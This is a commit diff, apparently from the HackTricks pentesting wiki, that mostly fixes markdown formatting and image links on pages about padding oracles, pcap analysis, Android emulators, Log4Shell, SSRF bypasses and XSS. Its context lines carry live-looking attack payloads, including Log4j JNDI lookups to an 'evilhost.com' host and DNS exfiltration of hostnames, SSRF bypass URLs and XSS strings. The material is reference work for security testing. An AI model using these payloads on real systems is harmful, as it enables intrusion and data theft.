GitBook: [#2982] No subject
BIN
.gitbook/assets/image (629) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 204 KiB |
Before Width: | Height: | Size: 204 KiB After Width: | Height: | Size: 24 KiB |
Before Width: | Height: | Size: 24 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 466 KiB |
|
@ -66,7 +66,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
|
||||
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1).png>)
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
|
||||
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
|
||||
|
|
|
@ -6,9 +6,9 @@ A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file for
|
|||
|
||||
## Online tools for pcaps
|
||||
|
||||
* If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)****
|
||||
* Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com)****
|
||||
* Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)****
|
||||
* If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)\*\*\*\*
|
||||
* Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com)\*\*\*\*
|
||||
* Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)\*\*\*\*
|
||||
|
||||
## Extract Information
|
||||
|
||||
|
@ -28,7 +28,7 @@ You can find some Wireshark trick in:
|
|||
|
||||
### Xplico Framework
|
||||
|
||||
****[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on.
|
||||
\*\*\*\*[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on.
|
||||
|
||||
#### Install
|
||||
|
||||
|
@ -118,7 +118,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
|
||||
### YaraPcap
|
||||
|
||||
****[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that 
|
||||
\*\*\*\*[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that
|
||||
|
||||
* Reads a PCAP File and Extracts Http Streams.
|
||||
* gzip deflates any compressed streams
|
||||
|
@ -211,7 +211,6 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
|||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
## Other pcap analysis tricks
|
||||
|
@ -227,4 +226,3 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
{% content-ref url="usb-keystrokes.md" %}
|
||||
[usb-keystrokes.md](usb-keystrokes.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
|
|
@ -23,17 +23,17 @@ brew install openjdk@8
|
|||
|
||||
### Prepare Virtual Machine
|
||||
|
||||
If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_ 
|
||||
If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
|
||||
|
||||
![](<../../.gitbook/assets/image (330).png>)
|
||||
|
||||
Then, click on _**Create Virtual Device**_, _**select** the phone you want to use_ and click on _**Next.**_\
|
||||
_****_In the current view you are going to be able to **select and download the Android image** that the phone is going to run:
|
||||
\_\*\*\*\*\_In the current view you are going to be able to **select and download the Android image** that the phone is going to run:
|
||||
|
||||
![](<../../.gitbook/assets/image (331).png>)
|
||||
|
||||
So, select it and click on _**Download**_** (**now wait until the image is downloaded).\
|
||||
Once the image is downloaded, just select _**Next**_ and _**Finish**_.
|
||||
So, select it and click on _**Download**_\*\* (**now wait until the image is downloaded).**\
|
||||
**Once the image is downloaded, just select \_**Next**\_ and \_**Finish\*\*\_.
|
||||
|
||||
![](<../../.gitbook/assets/image (332).png>)
|
||||
|
||||
|
@ -105,7 +105,7 @@ id: 9 or "Nexus 5X"
|
|||
```
|
||||
|
||||
Once you have decide the name of the device you want to use, you need to **decide which Android image you want to run in this device.**\
|
||||
****You can list all the options using `sdkmanager`:
|
||||
\*\*\*\*You can list all the options using `sdkmanager`:
|
||||
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
|
@ -142,7 +142,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create
|
|||
```
|
||||
|
||||
In the last command **I created a VM named** "_AVD9_" using the **device** "_Nexus 5X_" and the **Android image** "_system-images;android-28;google\_apis;x86\_64_".\
|
||||
Now you can **list the virtual machines** you have created with: 
|
||||
Now you can **list the virtual machines** you have created with:
|
||||
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
|
||||
|
@ -201,7 +201,7 @@ However there are **a lot of different command line useful options** that you ca
|
|||
|
||||
#### System
|
||||
|
||||
* `-selinux {disabled|permissive}` : Set the Security-Enhanced Linux security module to either disabled or permissive mode on a Linux operating system.
|
||||
* `-selinux {disabled|permissive}` : Set the Security-Enhanced Linux security module to either disabled or permissive mode on a Linux operating system.
|
||||
* `-timezone Europe/Paris` : Set the timezone for the virtual device
|
||||
* `-screen {touch(default)|multi-touch|o-touch}` : Set emulated touch screen mode.
|
||||
* **`-writable-system`** : Use this option to have a writable system image during your emulation session. You will need also to run `adb root; adb remount`. This is very useful to install a new certificate in the system.
|
||||
|
|
|
@ -105,28 +105,28 @@ Therefore, the only thing needed to get RCE a **vulnerable version of Log4j proc
|
|||
Being the most dangerous of them all, this vulnerability lurks in the [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core) component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading).\
|
||||
\
|
||||
Threat intel analyst Florian Roth shared Sigma rules \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] that can be employed as one of the defenses.\
|
||||
 
|
||||
|
||||
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Critical**, previously Low]: This one is a Denial of Service (DoS) flaw scoring a ~~3.7~~ 9.0. The flaw arose as a result of an **incomplete fix that went into 2.15.0** for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain **non-default configurations**.\
|
||||
\
|
||||
Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to **_**localhost**_ by default. But, **attackers** who have **control** over the **Thread Context Map (MDC)** input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. \$${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).\
|
||||
Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to \_localhost**\_ by default. But, **attackers** who have **control** over the **Thread Context Map (MDC)** input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. \$${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).\
|
||||
\
|
||||
The **bypass taken from this** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) was: \
|
||||
The **bypass taken from this** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) was:\
|
||||
_Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual._\
|
||||
__\
|
||||
__"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\
|
||||
 
|
||||
\_\_\
|
||||
\_\_"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\
|
||||
|
||||
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**: Did we say Log4j 2.x versions were vulnerable? What about **Log4j 1.x**?\
|
||||
\
|
||||
While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the **_**JMSAppender**_** class also become susceptible to the untrusted deserialization flaw**.\
|
||||
While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the \_JMSAppender**\_\*\* class also become susceptible to the untrusted deserialization flaw\*\*.\
|
||||
\
|
||||
Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) and [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) components for which only 1.x releases exist. Because these are [end-of-life](https://logging.apache.org/log4j/1.2/) versions, **a fix for 1.x branch does not exist anywhere**, and one should upgrade to _log4j-core_ 2.17.0. (Apparently 1.0 isn't vulnerable).\
|
||||
 
|
||||
|
||||
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]:** This is a vulnerability in the **Logback logging framework**. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off."\
|
||||
\
|
||||
Up until last week, Logback also [bragged](https://archive.md/QkzIy) that being "unrelated to log4j 2.x, \[logback] does not share its vulnerabilities."\
|
||||
\
|
||||
That assumption quickly faded when **CVE-2021-4104** was discovered to impact Log4j 1.x as well, and the possibility of potential **impact to Logback** was [assessed](https://jira.qos.ch/browse/LOGBACK-1591). Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\
|
||||
 
|
||||
|
||||
* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): This new CVE affects the **version 2.17** of log4j. This vulnerability **requires the attacker to control the configuration file of log4j** as it’s possible to indicate a JDNI URL in a configured JDBCAppender. For information about the **vulnerability and exploitation** [**read this info**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
|
@ -165,7 +165,7 @@ This can be very useful for 2 things:
|
|||
* To **exfiltrate information** abusing the vulnerability
|
||||
|
||||
For example you could request something like:\
|
||||
 or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
|
||||
or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
|
||||
|
||||
Other information you could try to **leak**:
|
||||
|
||||
|
@ -231,7 +231,7 @@ For **more information** (_like limitations on RMI and CORBA vectors_) **check t
|
|||
|
||||
### RCE - Marshalsec with custom payload
|
||||
|
||||
_This trick is entirely taken from the **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)_****_
|
||||
_This trick is entirely taken from the **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)_\*\*\*\*_
|
||||
|
||||
For this exploit the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (download a [**jar version from here**](https://github.com/RandomRobbieBF/marshalsec-jar)) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served:
|
||||
|
||||
|
@ -327,7 +327,7 @@ _This attack using a custom generated java object will work in labs like the **T
|
|||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_). 
|
||||
This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_).
|
||||
|
||||
Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:
|
||||
|
||||
|
@ -373,10 +373,10 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
### Labs to test
|
||||
|
||||
* ****[**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)****
|
||||
* ****[**Try Hack Me Solar room**](https://tryhackme.com/room/solar)****
|
||||
* ****[**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)****
|
||||
* ****[**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)****
|
||||
* [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
|
||||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
@ -92,7 +92,7 @@ Malicious request containing the XSS payload:
|
|||
|
||||
Malicious response to the victim that contains the header that indicates to the cache to store the response:
|
||||
|
||||
![](<../.gitbook/assets/image (629).png>)
|
||||
![](<../.gitbook/assets/image (629) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that in this case if the **"victim" is the attacker** he can now perform **cache poisoning in arbitrary URLs** as he can **control the URL that is going to be cached** with the malicious response.
|
||||
|
|
|
@ -107,6 +107,12 @@ url=https://attacker.com\@victim.com/
|
|||
url=https://attacker.com\anything@victim.com/
|
||||
```
|
||||
|
||||
### Other Confusions
|
||||
|
||||
![](<../.gitbook/assets/image (629).png>)
|
||||
|
||||
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
|
||||
### Other bypasses
|
||||
|
||||
```bash
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
2. **Find the context** where it's reflected/used.
|
||||
3. If **reflected**
|
||||
1. Check **which symbols can you use** and depending on that, prepare the payload:
|
||||
1. In **raw HTML**: 
|
||||
1. In **raw HTML**:
|
||||
1. Can you create new HTML tags?
|
||||
2. Can you use events or attributes supporting `javascript:` protocol?
|
||||
3. Can you bypass protections?
|
||||
|
@ -53,7 +53,7 @@ If your input is reflected inside the value of the attribute of a tag you could
|
|||
|
||||
### Inside JavaScript code
|
||||
|
||||
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a **`.js`**file or inside an attribute using **`javascript:`** protocol:
|
||||
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a \*\*`.js`\*\*file or inside an attribute using **`javascript:`** protocol:
|
||||
|
||||
* If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `</script>` tag is inside the HTML code.
|
||||
* If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
|
||||
|
@ -91,7 +91,7 @@ Some **examples**:
|
|||
|
||||
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
|
||||
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Note: A HTML comment can be closed using**** ****`-->`**** ****or**** ****`--!>`**_
|
||||
_**Note: A HTML comment can be closed using\*\*\*\***** ****`-->`**** ****or \*\*\*\*****`--!>`**_
|
||||
|
||||
In this case and if no black/whitelisting is used, you could use payloads like:
|
||||
|
||||
|
@ -258,7 +258,7 @@ Note that **any kind of HTML encode is valid**:
|
|||
|
||||
### Special Protocols Within the attribute
|
||||
|
||||
There you can use the protocols **`javascript:`** or **`data:`** in some places to **execute arbitrary JS code**. Some will require user interaction on some won't. 
|
||||
There you can use the protocols **`javascript:`** or **`data:`** in some places to **execute arbitrary JS code**. Some will require user interaction on some won't.
|
||||
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
|
@ -312,7 +312,7 @@ _**In this case the HTML encoding and the Unicode encoding trick from the previo
|
|||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
|
||||
Moreover, there is another **nice trick** for these cases**: Even if your input inside `javascript:...` is being URL encoded, it will be URL decoded before it's executed.** So, if you need to **escape** from the **string** using a **single quote** and you see that **it's being URL encoded**, remember that **it doesn't matter,** it will be **interpreted** as a **single quote** during the **execution** time.
|
||||
Moreover, there is another **nice trick** for these cases\*\*: Even if your input inside `javascript:...` is being URL encoded, it will be URL decoded before it's executed.\*\* So, if you need to **escape** from the **string** using a **single quote** and you see that **it's being URL encoded**, remember that **it doesn't matter,** it will be **interpreted** as a **single quote** during the **execution** time.
|
||||
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
|
@ -419,7 +419,7 @@ If `<>` are being sanitised you can still **escape the string** where your input
|
|||
|
||||
### Template literals \`\`
|
||||
|
||||
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax. \
|
||||
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
|
||||
Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**:
|
||||
|
||||
This can be **abused** using: `${alert(1)}`
|
||||
|
@ -431,7 +431,6 @@ This can be **abused** using: `${alert(1)}`
|
|||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
|
||||
```
|
||||
|
||||
### JavaScript bypass blacklists techniques
|
||||
|
@ -637,9 +636,9 @@ Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location
|
|||
### Obfuscation & Advanced Bypass
|
||||
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) 
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) 
|
||||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) 
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
* More sofisticated JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||||
|
@ -756,7 +755,6 @@ function fetchUrl(url, wait){
|
|||
}, wait);
|
||||
}
|
||||
</script>
|
||||
|
||||
```
|
||||
|
||||
### Port Scanner (fetch)
|
||||
|
@ -850,7 +848,7 @@ The goal of this attack is to **create service workers** on the **victim session
|
|||
|
||||
You can see them in the **Service Workers** field in the **Application** tab of **Developer Tools**. You can also look at [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals).
|
||||
|
||||
If the victim didn't grant push notifications permissions the service worker won't be able to receive communications from the server if the user doesn't access the attacker page again. This will prevent for example, maintain conversations with all the pages that accessed the attacker web page so web a exploit if found the SW can receive it and execute it. However, if the victim grants push notifications permissions this could be a risk.
|
||||
If the victim didn't grant push notifications permissions the service worker won't be able to receive communications from the server if the user doesn't access the attacker page again. This will prevent for example, maintain conversations with all the pages that accessed the attacker web page so web a exploit if found the SW can receive it and execute it. However, if the victim grants push notifications permissions this could be a risk.
|
||||
|
||||
In order to exploit this vulnerability you need to find:
|
||||
|
||||
|
|